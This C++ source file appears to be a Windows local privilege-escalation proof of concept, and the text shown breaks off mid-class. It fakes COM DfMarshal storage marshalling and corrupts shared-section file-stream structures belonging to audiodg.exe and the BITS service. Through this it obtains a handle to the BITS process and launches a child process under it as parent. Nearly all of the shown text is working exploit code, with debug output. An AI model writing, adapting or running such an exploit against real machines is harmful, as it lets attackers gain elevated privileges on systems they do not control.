﻿
#include "stdafx.h"
#include <iostream>
#include <stdlib.h>
#include <stdio.h> 
#include <bits.h>
#include <bits4_0.h>
#include <stdio.h>
#include <tchar.h>
#include <lm.h>
#include <string>
#include <comdef.h>
#include <winternl.h>
#include <Shlwapi.h>
#include <strsafe.h>
#include <vector>
#include <Sddl.h>
#include <atlbase.h>
#include <ComSvcs.h>
#include <callobj.h>
#include <AclAPI.h>
#include <Mmdeviceapi.h>
#include <audioclient.h>
#include <tlhelp32.h>
#include <map>


namespace ntdll
{

	typedef 	struct NtMappedSection
	{
		PVOID           *BaseAddress;
		PSIZE_T         ViewSize;
	} *PNtMappedSection;


	using NtCreateSection_t = NTSTATUS(NTAPI*)(
		PHANDLE sectionHandle,
		ULONG                DesiredAccess,
		POBJECT_ATTRIBUTES   ObjectAttributes OPTIONAL,
		PLARGE_INTEGER       MaximumSize OPTIONAL,
		ULONG                PageAttributess,
		ULONG                SectionAttributes,
		HANDLE               FileHandle OPTIONAL);

	using NtMapViewOfSection_t = NTSTATUS(NTAPI*)(
		HANDLE          SectionHandle,
		HANDLE          ProcessHandle,
		PVOID           *BaseAddress,
		ULONG_PTR       ZeroBits,
		SIZE_T          CommitSize,
		PLARGE_INTEGER  SectionOffset,
		PSIZE_T         ViewSize,
		int InheritDisposition,
		ULONG           AllocationType,
		ULONG           Win32Protect);




	using  NtQueryVirtualMemory_t = NTSTATUS(NTAPI*)(
		_In_ HANDLE ProcessHandle,
		_In_ PVOID Address,
		_In_ MEMORY_INFORMATION_CLASS VirtualMemoryInformationClass,
		_Out_ PVOID VirtualMemoryInformation,
		_In_ SIZE_T Length,
		_Out_opt_ PSIZE_T ResultLength
		);

	using NtQuerySection_t = NTSTATUS(NTAPI*)(
		IN HANDLE               SectionHandle,
		IN SECTION_INFORMATION_CLASS InformationClass,
		OUT PVOID               InformationBuffer,
		IN ULONG                InformationBufferSize,
		OUT PULONG              ResultLength OPTIONAL);

	using NtCreateEvent_t = NTSTATUS(NTAPI*)
		(HANDLE *pHandle, ACCESS_MASK dwDesiredAccess, const OBJECT_ATTRIBUTES *pObjectAttributes, EVENT_TYPE eEventType, BOOLEAN bInitialState);

	using NtOpenEvent_t = NTSTATUS(NTAPI*)(HANDLE *pHandle, ACCESS_MASK dwDesiredAccess, const OBJECT_ATTRIBUTES *pObjectAttributes);

	using NtSetEvent_t = NTSTATUS(NTAPI*)(HANDLE hEvent, LONG *plPrevState);
	using NtClearEvent_t = NTSTATUS(NTAPI*)(HANDLE hEvent);

	using NtOpenFile_t = NTSTATUS(NTAPI*)(
		OUT HANDLE * FileHandle,
		IN ACCESS_MASK DesiredAccess,
		IN POBJECT_ATTRIBUTES ObjectAttributes,
		OUT PIO_STATUS_BLOCK IoStatusBlock,
		IN ULONG ShareAccess,
		IN ULONG OpenOptions
		);
	using NtCreateProcessEx_t = NTSTATUS(NTAPI*)(
		_Out_ PHANDLE ProcessHandle,
		_In_ ACCESS_MASK DesiredAccess,
		_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
		_In_ HANDLE ParentProcess,
		_In_ ULONG Flags,
		_In_opt_ HANDLE SectionHandle,
		_In_opt_ HANDLE DebugPort,
		_In_opt_ HANDLE ExceptionPort,
		_In_ BOOLEAN InJob);


	extern NtCreateSection_t NtCreateSection = nullptr;
	extern NtMapViewOfSection_t NtMapViewOfSection = nullptr;
	extern NtQueryVirtualMemory_t NtQueryVirtualMemory = nullptr;
	extern NtQuerySection_t NtQuerySection = nullptr;
	extern NtCreateEvent_t NtCreateEvent = nullptr;
	extern NtOpenEvent_t NtOpenEvent = nullptr;
	extern NtSetEvent_t NtSetEvent = nullptr;
	extern NtClearEvent_t NtClearEvent = nullptr;
	extern NtOpenFile_t NtOpenFile = nullptr;
	extern NtCreateProcessEx_t NtCreateProcessEx = nullptr;


}


static bstr_t IIDToBSTR(REFIID riid)
{
	LPOLESTR str;
	bstr_t ret = "Unknown";
	if (SUCCEEDED(StringFromIID(riid, &str)))
	{
		ret = str;
		CoTaskMemFree(str);
	}
	return ret;
}

_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob));
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager));
_COM_SMARTPTR_TYPEDEF(IMMDeviceEnumerator, __uuidof(IMMDeviceEnumerator));
_COM_SMARTPTR_TYPEDEF(IMMDevice, __uuidof(IMMDevice));

class SharedMemoryMarshaller
{
	HANDLE HandleValueLocal;
	HANDLE HandleValueRemote;
	SDfMarshalPacket* _pck;
	PVOID directoryMappedAddressLocal = nullptr;
	HANDLE pNTHandle = nullptr;

public:

	SharedMemoryMarshaller()
	{

	};
	~SharedMemoryMarshaller();

	HRESULT STDMETHODCALLTYPE SharedMemoryMarshaller::StartAudioClient(){
		const CLSID CLSID_MMDeviceEnumerator = __uuidof(MMDeviceEnumerator);
		const IID IID_IMMDeviceEnumerator = __uuidof(IMMDeviceEnumerator);
		IMMDeviceEnumeratorPtr pEnumerator = nullptr;
		HRESULT hr = CoCreateInstance(
			CLSID_MMDeviceEnumerator, NULL,
			CLSCTX_ALL, IID_IMMDeviceEnumerator,
			(void**)&pEnumerator);
		IMMDevicePtr pDevice = nullptr;
		hr = pEnumerator->GetDefaultAudioEndpoint(EDataFlow::eRender, ERole::eConsole, &pDevice);

		WAVEFORMATEX *pwfx = NULL;

		REFERENCE_TIME hnsRequestedDuration = 10000000;

		UINT32 nFrames = 0;

		IAudioClient *pAudioClient = NULL;

		// Get the audio client.
		(hr = pDevice->Activate(
			__uuidof(IAudioClient),
			CLSCTX_INPROC_SERVER,
			NULL,
			(void**)&pAudioClient));

		// Get the device format.
		hr = pAudioClient->GetMixFormat(&pwfx);

		// Open the stream and associate it with an audio session.
		hr = pAudioClient->Initialize(
			AUDCLNT_SHAREMODE_SHARED,
			NULL,
			hnsRequestedDuration,
			0,
			pwfx,
			NULL);

		return hr;
	}

	DWORD SharedMemoryMarshaller::GetProcessIDByName(const wchar_t* pName)
	{
		HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
		if (INVALID_HANDLE_VALUE == hSnapshot) {
			return NULL;
		}
		PROCESSENTRY32 pe = { sizeof(pe) };
		for (BOOL ret = Process32First(hSnapshot, &pe); ret; ret = Process32Next(hSnapshot, &pe)) {
			if (wcscmp(pe.szExeFile, pName) == 0) {
				CloseHandle(hSnapshot);
				return pe.th32ProcessID;
			}
		}
		CloseHandle(hSnapshot);
		return 0;
	}
	DWORD SharedMemoryMarshaller::GetProcessIDByServiceName(const wchar_t* pName)
	{
		DWORD result = 0;
		SC_HANDLE hSCM, hService;
		SERVICE_STATUS_PROCESS* ssStatus = (SERVICE_STATUS_PROCESS*)malloc(sizeof(SERVICE_STATUS_PROCESS));
		DWORD dwBytesNeeded;
		hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);

		if (!hSCM)
		{
			printf("OpenSCManager Failed with error: %u\n", GetLastError());

			return 0;
		}

		hService = OpenService(hSCM, pName, SERVICE_QUERY_STATUS);

		if (hService)
		{
			if (QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, (LPBYTE)ssStatus, sizeof(SERVICE_STATUS_PROCESS), &dwBytesNeeded))
			{
				return  ssStatus->dwProcessId;
			}
			else
			{
				printf("QueryServiceStatusEx failed with error: %u\n", GetLastError());


			}
		}
		else
		{
			printf("OpenService failed with error: %u\n", GetLastError());

		}

		CloseServiceHandle(hSCM);
		CloseServiceHandle(hService);
		return  result;

	}
	HRESULT STDMETHODCALLTYPE SharedMemoryMarshaller::StartCOMFakePoc()
	{
		DWORD NowProcessId = GetCurrentProcessId();
		UINT new_fs_offset = 0;
		
	


		while (true)
		{


			CFileStream* pWorkFileStream = (CFileStream*)(0x7279 - 0x10 + (ULONG)directoryMappedAddressLocal + 8);
			if (pWorkFileStream->baseContext.ctxid == 0)
			{
				
				pWorkFileStream->baseContext.ctxid = NowProcessId;

				CGlobalFileStream* fsBase = (CGlobalFileStream*)(_pck->CBasedGlobalFileStreamBaseObj + (ULONG)directoryMappedAddressLocal + 8);


				if (fsBase->baseclass_CContextList._pctxHead != 0x7279)
				{
					
					new_fs_offset = fsBase->baseclass_CContextList._pctxHead - 0x10;				

					//new malloc
					CFileStream* fs = (CFileStream*)(new_fs_offset + (ULONG)directoryMappedAddressLocal + 8);
					fs->_ILockBytesField = 0x6477;
					fs->_hFile = (HANDLE)-1;
					fs->_hPreDuped = (HANDLE)-1;

					fs->baseContext.ctxid = NowProcessId;
					fs->baseContext.pctxNext = 0x7279;

					CFileStream* pWorkFileStream = (CFileStream*)(0x7279 - 0x10 + (ULONG)directoryMappedAddressLocal + 8);
					pWorkFileStream->baseContext.ctxid = NowProcessId;
					pWorkFileStream->_hFile = pNTHandle;
					pWorkFileStream->_hPreDuped = pNTHandle;
					pWorkFileStream->baseContext.pctxNext = 0x7279;
					break;
				}
			}
		}

		
		while (true)
		{
			CFileStream* fs = (CFileStream*)(new_fs_offset + (ULONG)directoryMappedAddressLocal + 8);
			if (fs->_hFile != (HANDLE)-1)
			{
				printf("[Success] Get Handle error: %08x %d\n", fs->_hFile, GetLastError());
				HANDLE hProcess = nullptr;
				STARTUPINFOEX sie = { sizeof(sie) };
				PROCESS_INFORMATION pi;
				SIZE_T cbAttributeListSize = 0;
				PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = NULL;
				if (!DuplicateHandle(
					pNTHandle,
					fs->_hFile,
					GetCurrentProcess(),
					&hProcess,
					0,
					FALSE,
					DUPLICATE_SAME_ACCESS

					))
				{
					printf("[!] Error DuplicateHandle :%d\n", GetLastError());
					return 0;
				}
				//hProcess = fs->_hFile;
				InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize);
				pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize);
				if (NULL == pAttributeList)
				{

				return 0;
				}
				if (!InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize))
				{

				return 0;
				}

				if (!UpdateProcThreadAttribute(pAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProcess, sizeof(HANDLE), NULL, NULL))
				{

				return 0;
				}
				
				sie.lpAttributeList = pAttributeList;
				if (!CreateProcess(NULL, _wcsdup(L"notepad.exe"), NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &sie.StartupInfo, &pi))
				{
					printf("[!] Error CreateProcess :%d\n", GetLastError());
					return 0;
				}
				printf("Process created: %d\n", pi.dwProcessId);
				DeleteProcThreadAttributeList(pAttributeList);
				CloseHandle(hProcess);
				break;
			}
		}


		return S_OK;
	}

	static  DWORD  WINAPI  SharedMemoryMarshaller::staticStartCOMFakePoc(void* Param)
	{
		SharedMemoryMarshaller* This = (SharedMemoryMarshaller*)Param;
		This->StartCOMFakePoc();
		return S_OK;
	}


	BOOL STDMETHODCALLTYPE SharedMemoryMarshaller::EnableDebugPrivilegeCheck()
	{
		HANDLE hToken;
		BOOL fOk = FALSE;
		if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) //Get Token
		{
			TOKEN_PRIVILEGES tp;
			tp.PrivilegeCount = 1;
			if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid))//Get Luid
				printf("Can't lookup privilege value.\n");
			tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;//这一句很关键，修改其属性为SE_PRIVILEGE_ENABLED
			if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL))//Adjust Token
			{
				printf("Can't adjust privilege value.\n");
			}
			fOk = (GetLastError() == ERROR_SUCCESS);
			CloseHandle(hToken);
		}
		return fOk;
	}
	HRESULT STDMETHODCALLTYPE SharedMemoryMarshaller::startCOMFakeThread() {
		DWORD ThreadID;
		CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartCOMFakePoc, (void*) this, 0, &ThreadID);
		return S_OK;
	}

	HRESULT STDMETHODCALLTYPE SharedMemoryMarshaller::FakeMarshaller(SDfMarshalPacket* pck){
		_pck = pck;


		this->StartAudioClient();
		DWORD NowProcessId = GetCurrentProcessId();
		HANDLE hProc = GetCurrentProcess();
		std::vector<_SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX*>::iterator lit;
		std::vector<_SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX*>::iterator rit;

		PVOID directoryMappedAddressPck = nullptr;
		LARGE_INTEGER section_offsetPck = {};
		SIZE_T mappedSizePck = (SIZE_T)0;
		HANDLE hProcPck = GetCurrentProcess();
		MEMORY_BASIC_INFORMATION* infoPck = (MEMORY_BASIC_INFORMATION*)malloc(sizeof(MEMORY_BASIC_INFORMATION));
		ntdll::NtMappedSection pMappedSectionPck = { &directoryMappedAddressPck, &mappedSizePck };



		LARGE_INTEGER section_offsetLocal = {};
		SIZE_T mappedSizeLocal = (SIZE_T)0;

		MEMORY_BASIC_INFORMATION* infoLocal = (MEMORY_BASIC_INFORMATION*)malloc(sizeof(MEMORY_BASIC_INFORMATION));
		ntdll::NtMappedSection pMappedSectionLocal = { &directoryMappedAddressLocal, &mappedSizeLocal };

		SECTION_BASIC_INFORMATION* Info_basic = (SECTION_BASIC_INFORMATION*)malloc(sizeof(SECTION_BASIC_INFORMATION));


		SIZE_T retLength = (SIZE_T)0;
		Sleep(1000);



		DWORD audiodg_pid = GetProcessIDByName(L"audiodg.exe");
		if (audiodg_pid == 0)
		{
			printf("GetProcessIDByName audiodg Failed with error: %d\n", GetLastError());
		}


		// EnableDebugPrivilegeCheck();
		// HANDLE hProcDLg = OpenProcess(PROCESS_DUP_HANDLE, 0, audiodg_pid);


		DWORD bits_pid = GetProcessIDByServiceName(L"BITS");
		if (bits_pid == 0)
		{
			printf("GetProcessIDByServiceName BITS Failed with error: %d\n", GetLastError());
		}


		std::map<ULONG, bstr_t> alltQueryObject = NtQueryObjectNameALL();
		std::vector<_SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX*> left = MapSectionObject(NowProcessId, alltQueryObject);
		std::vector<_SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX*> right = MapSectionObject(audiodg_pid, alltQueryObject);



		for (lit = left.begin(); lit != left.end(); lit++)
		{

			for (rit = right.begin(); rit != right.end(); rit++)
			{
				if ((*lit)->UniqueProcessId == (*rit)->UniqueProcessId)
				{
					continue;

				}
				else
				{

					if ((*lit)->Object == (*rit)->Object)
					{
						if ((*lit)->UniqueProcessId == NowProcessId)
						{
							HandleValueLocal = (*lit)->HandleValue;
							HandleValueRemote = (*rit)->HandleValue;
						}
						else
						{
							HandleValueLocal = (*rit)->HandleValue;
							HandleValueRemote = (*lit)->HandleValue;

						}
						break;

					}

				}


			}
		}


		NTSTATUS status = ntdll::NtMapViewOfSection(pck->hMem, hProc, &directoryMappedAddressPck, (ULONG_PTR)0, mappedSizePck, &section_offsetPck, &mappedSizePck, 2, NULL, 4);
		if (FAILED(status))
		{

			printf("[!] Error NtMapViewOfSection :%d\n", GetLastError());
		}
		status = ntdll::NtQueryVirtualMemory(hProc, pMappedSectionPck.BaseAddress, MEMORY_INFORMATION_CLASS::MemoryBasicInformation, infoPck, sizeof(MEMORY_BASIC_INFORMATION), &retLength);
		if (FAILED(status))
		{

			printf("[!] Error NtQueryVirtualMemory :%d\n", GetLastError());
		}
		byte* RegionPck = (byte*)CoTaskMemAlloc(infoPck->RegionSize);


		status = ntdll::NtMapViewOfSection(HandleValueLocal, hProc, &directoryMappedAddressLocal, (ULONG_PTR)0, mappedSizeLocal, &section_offsetLocal, &mappedSizeLocal, 2, NULL, 4);
		if (FAILED(status))
		{

			printf("[!] Error NtMapViewOfSection :%d\n", GetLastError());
		}
		status = ntdll::NtQueryVirtualMemory(hProc, pMappedSectionLocal.BaseAddress, MEMORY_INFORMATION_CLASS::MemoryBasicInformation, infoLocal, sizeof(MEMORY_BASIC_INFORMATION), &retLength);
		if (FAILED(status))
		{

			printf("[!] Error NtQueryVirtualMemory :%d\n", GetLastError());
		}



		status = ntdll::NtQuerySection(HandleValueLocal, SectionBasicInformation, Info_basic, sizeof(SECTION_BASIC_INFORMATION), 0);

		if (FAILED(status))
		{

			printf("[!] Error NtQuerySection :%d\n", GetLastError());
		}


		if (infoPck->RegionSize > Info_basic->Size.QuadPart)
		{
			printf("[!] Error NtQuerySection Size UnMatch :%d\n", GetLastError());
			return  S_FALSE;
		}

		CBasedMapSectionPtr* pdf = (CBasedMapSectionPtr*)(pck->CBasedPubDocFileObj + (ULONG)directoryMappedAddressLocal + 8);
		pdf->_SelftobjectPtr = 0x46444250;


		CBasedMapSectionPtr* pCBasedGlobalContextObj = (CBasedMapSectionPtr*)(pck->CBasedGlobalContextObj + (ULONG)directoryMappedAddressLocal + 8);
		pCBasedGlobalContextObj->_SelftobjectPtr = 0x5686;
		printf("SDfMarshalPacket CBasedGlobalContextObj: %08X\n  hMem: %08X\n ", pck->CBasedGlobalContextObj, pck->hMem);
		CPerContext* pXtx = (CPerContext*)(0x5686 + (ULONG)directoryMappedAddressLocal + 8);
		pXtx->baseclass_CContext.ctxid = bits_pid;
		//pXtx->CGlobalContextPtr = pck->CPerContextObj->CGlobalContextPtr;
		pXtx->CGlobalContextPtr = 0x77000000;
		//
		//0x00c00000
		CGlobalFileStream* pCBasedGlobalFileStreamBaseObj = (CGlobalFileStream*)(pck->CBasedGlobalFileStreamBaseObj + (ULONG)directoryMappedAddressLocal + 8);
		pCBasedGlobalFileStreamBaseObj->baseclass_CContextList._pctxHead = 0x7279;
		pCBasedGlobalFileStreamBaseObj->_dwStartFlags = 0x40;
		pCBasedGlobalFileStreamBaseObj->_awcPath[0] = 'A';
		CContext* pXtxFileStream = (CContext*)(0x7279 + (ULONG)directoryMappedAddressLocal + 8);
		pXtxFileStream->ctxid = bits_pid;

		CFileStream* pWorkFileStream = (CFileStream*)(0x7279 - 0x10 + (ULONG)directoryMappedAddressLocal + 8);
		pWorkFileStream->baseContext.pctxNext = 0x7279;
		pWorkFileStream->_hFile = nullptr;
		pWorkFileStream->baseContext.ctxid = bits_pid;
		// = pdf;
		CopyMemory(RegionPck, directoryMappedAddressPck, infoPck->RegionSize);
		CopyMemory(directoryMappedAddressLocal, RegionPck, infoPck->RegionSize);
		printf("Remote directoryMappedAddressLocal: %08X\n ", directoryMappedAddressLocal);
		pck->ProcessContextId = audiodg_pid;
		//pck->ProcessContextId = bits_pid;
		pck->hMem = HandleValueRemote;

		pNTHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, bits_pid);
		if (NULL == pNTHandle)
		{

			return S_FALSE;
		}
		//pNTHandle = GetCurrentProcess();
		this->startCOMFakeThread();
		return S_OK;
	};

	bstr_t NtQueryObjectName(HANDLE HandleValue)
	{
		bstr_t retStr = L"";
		DWORD dwFlags = 0;
		POBJECT_TYPE_INFORMATION pNameInfo = (OBJECT_TYPE_INFORMATION*)CoTaskMemAlloc(0x1000);
		POBJECT_TYPE_INFORMATION pNameType = (OBJECT_TYPE_INFORMATION*)CoTaskMemAlloc(0x1000);
		NTSTATUS status = NtQueryObject(HandleValue, OBJECT_INFORMATION_CLASS::ObjectTypeInformation, pNameInfo, 512, &dwFlags);
		if (SUCCEEDED(status))
		{
			//pNameType = (OBJECT_TYPE_INFORMATION*)CoTaskMemAlloc(dwFlags);
			status = NtQueryObject(HandleValue, OBJECT_INFORMATION_CLASS::ObjectTypeInformation, pNameType, 128, &dwFlags);
			if (SUCCEEDED(status))
			{
				if (wcscmp(pNameInfo->Name.Buffer, pNameType->Name.Buffer) == 0)
				{
					retStr = pNameInfo->Name.Buffer;
				}
			}
			else
			{
				printf("[!] Error NtQueryObject :%d\n", GetLastError());
				return retStr;
			}
		}
		else
		{
			printf("[!] Error NtQueryObject :%d\n", GetLastError());
			return retStr;
		}


		return retStr;
	}


	std::map<ULONG, bstr_t> NtQueryObjectNameALL()
	{
		std::map<ULONG, bstr_t>  retStrList;
		DWORD dwFlags = 0x3000;
		DWORD dwFlagsRet = 0;


		byte * buf = (byte *)CoTaskMemAlloc(dwFlags);
		POBJECT_TYPES_INFORMATION pNameType = (POBJECT_TYPES_INFORMATION)CoTaskMemAlloc(sizeof(OBJECT_TYPES_INFORMATION));

		NTSTATUS status = NtQueryObject(nullptr, (OBJECT_INFORMATION_CLASS)NewObjectInformationClass::ObjectTypesInformation, buf, dwFlags, &dwFlagsRet);
		memcpy(pNameType, buf, sizeof(OBJECT_TYPES_INFORMATION));
		if (SUCCEEDED(status))
		{
			OBJECT_TYPE_INFORMATION  TypeInformationName = pNameType->TypeInformation[0];
			for (ULONG i = 0; i < pNameType->NumberOfTypes; i++)
			{

				if (TypeInformationName.Name.Length &&TypeInformationName.Name.Buffer)
				{
					retStrList.insert(std::pair<ULONG, bstr_t>(i + 2, TypeInformationName.Name.Buffer));
					ULONG point = (ULONG)((ULONG)TypeInformationName.Name.Buffer + TypeInformationName.Name.MaximumLength);
					if (point % 4 == 2)
					{
						point += 2;
					}
					memcpy(&TypeInformationName, (void*)point, sizeof(OBJECT_TYPE_INFORMATION));
				}
				else
				{
					break;
				}


			}

		}
		else
		{
			printf("[!] Error NtQueryObject :%d\n", GetLastError());
			return retStrList;
		}



		return retStrList;
	}

	std::vector<_SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX*> STDMETHODCALLTYPE MapSectionObject(DWORD& desire_pid, std::map<ULONG, bstr_t>& alltQueryObject)
	{
		DWORD dwSize = sizeof(SYSTEM_HANDLE_INFORMATION_EX);
		NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;
		std::vector<_SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX*> infoList;
		SYSTEM_HANDLE_INFORMATION_EX *pHandleInfo = (SYSTEM_HANDLE_INFORMATION_EX *)CoTaskMemAlloc(dwSize);

		do {
			dwSize *= 2;
			pHandleInfo = (SYSTEM_HANDLE_INFORMATION_EX *)CoTaskMemAlloc(dwSize);
			status = NtQuerySystemInformation(
				(SYSTEM_INFORMATION_CLASS)SystemInformationClass::SystemExtendedHandleInformation, pHandleInfo, dwSize, &dwSize);


		} while (status == STATUS_INFO_LENGTH_MISMATCH);

		if (FAILED(status))
		{

			printf("[!] Error NtQuerySystemInformation :%d\n", GetLastError());
		}
		else
		{

			for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) {
				PVOID object = pHandleInfo->Handles[i].Object;
				HANDLE handle = pHandleInfo->Handles[i].HandleValue;
				if (pHandleInfo->Handles[i].UniqueProcessId == desire_pid && (pHandleInfo->Handles[i].GrantedAccess & 2) == 2)
				{
					std::map<ULONG, bstr_t>::iterator it = alltQueryObject.find(pHandleInfo->Handles[i].ObjectTypeIndex);
					if (it == alltQueryObject.end())
					{
						continue;

					}
					else
					{
						bstr_t nameStr = it->second;
						if (wcscmp(nameStr, L"Section") == 0)

						{
							infoList.push_back(&pHandleInfo->Handles[i]);
						}
					}


				}
			}
		}
		return infoList;
	}

	std::vector<_SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX*> STDMETHODCALLTYPE MapQueryedSectionObject(DWORD& desire_pid, std::vector<bstr_t>& alltQueryObject)
	{
		DWORD dwSize = sizeof(SYSTEM_HANDLE_INFORMATION_EX);
		NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH;
		std::vector<_SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX*> infoList;
		SYSTEM_HANDLE_INFORMATION_EX *pHandleInfo = (SYSTEM_HANDLE_INFORMATION_EX *)CoTaskMemAlloc(dwSize);

		do {
			dwSize *= 2;
			pHandleInfo = (SYSTEM_HANDLE_INFORMATION_EX *)CoTaskMemAlloc(dwSize);
			status = NtQuerySystemInformation(
				(SYSTEM_INFORMATION_CLASS)SystemInformationClass::SystemExtendedHandleInformation, pHandleInfo, dwSize, &dwSize);


		} while (status == STATUS_INFO_LENGTH_MISMATCH);

		if (FAILED(status))
		{

			printf("[!] Error NtQuerySystemInformation :%d\n", GetLastError());
		}
		else
		{

			for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) {
				PVOID object = pHandleInfo->Handles[i].Object;
				HANDLE handle = pHandleInfo->Handles[i].HandleValue;
				if (pHandleInfo->Handles[i].UniqueProcessId == desire_pid && (pHandleInfo->Handles[i].GrantedAccess & 2) == 2)
				{
					bstr_t nameStr = NtQueryObjectName(pHandleInfo->Handles[i].HandleValue);
					if (wcscmp(nameStr, L"Section") == 0)

					{
						infoList.push_back(&pHandleInfo->Handles[i]);
					}

				}
			}
		}
		return infoList;
	}

};



class StorageMarshaller
{
	IStreamPtr pStreamFrom;
	SharedMemoryMarshaller* _shm;

public:
	StorageMarshaller(IStreamPtr pStream, SharedMemoryMarshaller* shm) :_shm(shm)
	{
		pStreamFrom = pStream;
	}
	~StorageMarshaller()
	{

	}
	HRESULT STDMETHODCALLTYPE FakeMarshaller(IStream *pStm){
		GUID* marshal_iid = (GUID*)malloc(sizeof(GUID));
		OBJREF* headerObjRef = (OBJREF*)malloc(sizeof(OBJREF));
		UINT32* mshlflags = (UINT32*)malloc(sizeof(UINT32));
		SDfMarshalPacket* pck = (SDfMarshalPacket*)malloc(sizeof(SDfMarshalPacket));
		ULONG cbRead;
		ULONG cbWrite;
		ULARGE_INTEGER plibNewPosition;
		LARGE_INTEGER dlibMove = { 0 };
		wchar_t ptcsName[1024] = { 0 };
		wchar_t ptcsName2[1024] = { 0 };

		SIZE_T retLength = (SIZE_T)0;
		HANDLE evt = nullptr;
		HANDLE evenRef = nullptr;
		LONG prevstat = 0;
		OBJECT_ATTRIBUTES vObjectAttributes;
		UNICODE_STRING ustrObjectName;
		wsprintf(ptcsName2, L"OleDfRoot%X%08lX", 0, 0);
		wsprintf(ptcsName, L"\\Sessions\\0\\BaseNamedObjects\\OleDfRoot%X%08lX", 0, 0);
		RtlInitUnicodeString(&ustrObjectName, ptcsName);
		InitializeObjectAttributes(&vObjectAttributes, &ustrObjectName, OBJ_CASE_INSENSITIVE, nullptr, nullptr);

		HRESULT hr = pStreamFrom->Seek(dlibMove, STREAM_SEEK_SET, &plibNewPosition);

		hr = pStreamFrom->Read(marshal_iid, 16, &cbRead);
		printf("Start Marshaller: %ls %p\n", IIDToBSTR(*marshal_iid).GetBSTR(), this);
		hr = pStreamFrom->Read(mshlflags, 4, &cbRead);
		printf("mshlflags Read: %08X\n", *mshlflags);
		hr = pStreamFrom->Read(headerObjRef, 68, &cbRead);
		printf("OBJREF Read: %08X\n", cbRead);
		hr = pStreamFrom->Read(pck, 68, &cbRead);
		printf("SDfMarshalPacket Read: %08X\n", cbRead);
		CGlobalContext *gctx = (CGlobalContext *)(pck->CPerContextObj->CGlobalContextPtr);




		NTSTATUS status = ntdll::NtOpenEvent(&evenRef, 0x02000000, &vObjectAttributes);
		if (evenRef)
		{
			status = ntdll::NtClearEvent(evenRef);
		}

		status = ntdll::NtCreateEvent(&evt, 0x02000000, &vObjectAttributes, EVENT_TYPE::SynchronizationEvent, true);



		_shm->FakeMarshaller(pck);

		//pck->CBasedGlobalContextObj = gctx;
		hr = pStm->Write(marshal_iid, 16, &cbWrite);
		printf("Finish Marshaller: %ls %p\n", IIDToBSTR(*marshal_iid).GetBSTR(), this);
		hr = pStm->Write(mshlflags, 4, &cbWrite);
		printf("mshlflags Write: %08X\n", *mshlflags);
		hr = pStm->Write(headerObjRef, 68, &cbWrite);
		printf("OBJREF Write: %08X\n", cbWrite);
		hr = pStm->Write(pck, 68, &cbWrite);
		printf("SDfMarshalPacket Write: %08X\n", cbRead);
		//status=ntdll::NtSetEvent(evt, &prevstat);
		return hr;
	}


};



class CMarshaller : public IMarshal
{
	LONG _ref_count;
	IUnknown * _unk;

	~CMarshaller() {}

public:

	CMarshaller(IUnknown * unk) : _ref_count(1)
	{
		_unk = unk;

	}


	virtual HRESULT STDMETHODCALLTYPE QueryInterface(
		/* [in] */ REFIID riid,
		/* [iid_is][out] */ _COM_Outptr_ void __RPC_FAR *__RPC_FAR *ppvObject)
	{

		*ppvObject = nullptr;
		printf("QI [CMarshaller] - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);

		if (riid == IID_IUnknown)
		{
			*ppvObject = this;
		}
		else if (riid == IID_IMarshal)
		{
			*ppvObject = static_cast<IMarshal*>(this);
		}
		else
		{
			return E_NOINTERFACE;
		}
		printf("Queried Success: %p\n", *ppvObject);
		((IUnknown *)*ppvObject)->AddRef();
		return S_OK;
	}

	virtual ULONG STDMETHODCALLTYPE AddRef(void)
	{

		printf("AddRef: %d\n", _ref_count);
		return InterlockedIncrement(&_ref_count);
	}

	virtual ULONG STDMETHODCALLTYPE Release(void)
	{

		printf("Release: %d\n", _ref_count);
		ULONG ret = InterlockedDecrement(&_ref_count);
		if (ret == 0)
		{
			printf("Release object %p\n", this);
			delete this;
		}
		return ret;
	}



	virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(
		/* [annotation][in] */
		_In_  REFIID riid,
		/* [annotation][unique][in] */
		_In_opt_  void *pv,
		/* [annotation][in] */
		_In_  DWORD dwDestContext,
		/* [annotation][unique][in] */
		_Reserved_  void *pvDestContext,
		/* [annotation][in] */
		_In_  DWORD mshlflags,
		/* [annotation][out] */
		_Out_  CLSID *pCid)
	{


		printf("Call:  GetUnmarshalClass\n");
		GUID CLSID_DfMarshalref = { 0x0000030B, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, } };
		*pCid = CLSID_DfMarshalref;
		return S_OK;
	}
	virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
